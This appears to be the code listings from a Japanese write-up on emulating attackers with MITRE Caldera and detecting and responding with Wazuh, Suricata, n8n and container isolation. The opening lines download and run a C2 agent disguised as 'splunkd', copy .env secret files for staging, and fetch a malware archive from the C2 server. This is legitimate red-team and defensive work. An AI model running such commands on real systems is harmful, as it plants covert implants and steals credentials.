MITRE CalderaとWazuhを使った攻撃者エミュレーション

curl -s -X POST -H "file:sandcat.go" -H "platform:linux" http://[caldera server address]/file/download > splunkd
chmod +x splunkd
./splunkd -server http://[caldera server address] -group red -v

# .envファイルを収集して保管ディレクトリにコピー
find /var/www/html -name "*.env*" -type f | xargs -I {} bash -c 'cp {} #{host.dir.staged}/$(echo {} | sed "s/\//_/g")'

# アーカイブしたマルウェアをCalderaサーバーからダウンロードして展開
curl -s -X POST -H "file:malware.tar.gz" -H "platform:linux" #{server}/file/download > #{host.dir.staged}/malware.tar.gz && tar -xzf #{host.dir.staged}/malware.tar.gz -C #{host.dir.staged} && rm #{host.dir.staged}/malware.tar.gz

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious file upload traffic via HTTP"; flow:to_server,established; http.method; content:"POST"; http.content_type; content:"multipart/form-data|3b|"; classtype:trojan-activity; sid:1000002; rev:1;)

<group name="ids,suricata,">
 
  [...]
 
  <rule id="100201" level="10">
    <if_sid>86601</if_sid>
    <field name="alert.signature_id">^1000002$</field>
    <description>Suricata: Alert - $(alert.signature)</description>
    <mitre>
        <id>T1048</id>
    </mitre>
  </rule>
 
  [...]
 
</group>

// インシデントとして扱うグループのリスト
const incident_groups = ['virus', 'invalid_login', 'exploit_attempt']
const alerts = []
 
for (const item of $input.all()) {
  let id = item.json.body.id
  let level = item.json.body.all_fields.rule.level
  let severity = level < 10 ? 'Medium' : 'High'
  let description = item.json.body.title
  let log = (item.json.body.all_fields.decoder.name === 'json' ? JSON.stringify(JSON.parse(item.json.body.all_fields.full_log), null, 2) : item.json.body.all_fields.full_log) ?? description
  let rule_id = item.json.body.rule_id
  let groups = item.json.body.all_fields.rule.groups
  let is_incident = groups.some(g => incident_groups.includes(g))
  let occurred_at = DateTime.fromISO(item.json.body.timestamp).toFormat('yyyy-MM-dd HH:mm:ss')
  
  alerts.push({
    id,
    level,
    severity,
    description,
    log,
    rule_id,
    groups,
    is_incident,
    occurred_at
  })
}
 
return alerts

import sys
import json
import os
 
from pocketbase import PocketBase
 
event = json.loads(sys.argv[1])
body = json.loads(event["body"])
 
client = PocketBase('http://0.0.0.0:8090')
client.auth_store.save(token=os.environ["CATALYST_TOKEN"])
 
severity = body["severity"]
type = "incident" if bool(body["is_incident"]) else "alert"
 
if type:
  client.collection("tickets").create({
    "name": "%s has occurred at %s" % (body["id"], body["occurred_at"]),
    "description": "%s\n\n> %s" % (body["description"], body["log"]),
    "state": { "severity": severity }, 
    "type": type,
    "open": True,
  })

** {{ $('イベントデータ加工ノードの名前').item.json.is_incident ? ':fire: ' : ':rotating_light:' }}[{{ $('イベントデータ加工ノードの名前').item.json.severity }}]{{ $('イベントデータ加工ノードの名前').item.json.description }} **
> {{ $('イベントデータ加工ノードの名前').item.json.log }}

sudo /home/node/<実行するスクリプト> <アプリケーションサーバーのコンテナ名>

package main
 
import (
	"context"
	"fmt"
	"log"
	"os"
 
	"github.com/docker/docker/client"
)
 
func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: go run isolation.go <container_name_or_id>")
		os.Exit(1)
	}
 
	containerNameOrID := os.Args[1]
 
	ctx := context.Background()
	cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
	if err != nil {
		log.Printf("Unable to create docker client: %s", err)
		panic(err)
	}
	defer cli.Close()
 
	containerJSON, err := cli.ContainerInspect(ctx, containerNameOrID)
	if err != nil {
		fmt.Printf("Error inspecting container: %v\n", err)
		os.Exit(1)
	}
 
	if containerJSON.NetworkSettings == nil || containerJSON.NetworkSettings.Networks == nil {
		fmt.Println("Container is not connected to any networks.")
		os.Exit(1)
	}
 
	fmt.Printf("Disconnecting container '%s' from networks...\n", containerNameOrID)
 
	for networkName := range containerJSON.NetworkSettings.Networks {
		err := cli.NetworkDisconnect(ctx, networkName, containerJSON.ID, true)
		if err != nil {
			fmt.Printf("Error disconnecting from network '%s': %v\n", networkName, err)
		} else {
			fmt.Printf("Disconnected from network '%s'\n", networkName)
		}
	}
 
	fmt.Println("Finished disconnecting.")
}

cat /home/node/maintenance.txt | sudo nc -U /var/run/caddy/caddy.sock

PATCH /config/apps/http/servers/app/routes/0 HTTP/1.1
Host: <Caddy設定ファイルのoriginsに設定したホスト名 https://caddyserver.com/docs/json/admin/origins/>
Content-Type: application/json
Content-Length: 138

{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"ただいまメンテナンス中です","handler":"static_response"}]}]}]}

root@~# docker inspect 86world-app | jq '.[].NetworkSettings.Networks'
{
  "86world_local": {
    "IPAMConfig": {},
    "Links": null,
    "Aliases": [
      "e482656c35bc",
      "app"
    ],
    "MacAddress": "02:42:ac:17:00:06",
    "DriverOpts": {},
    "NetworkID": "a816f7fe2697a65f22122c27a156296730f50543a956eb4392cf49cd5cab638f",
    "EndpointID": "c57cd0920775e54b2c05bd2e4697b03137dfc4ddfcf03841674f147cc49bdc00",
    "Gateway": "172.23.0.1",
    "IPAddress": "172.23.0.6",
    "IPPrefixLen": 16,
    "IPv6Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "DNSNames": [
      "86world-app",
      "e482656c35bc",
      "app"
    ]
  }
}

root@~# docker inspect 86world-app | jq '.[].NetworkSettings.Networks'
{}

root@~# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever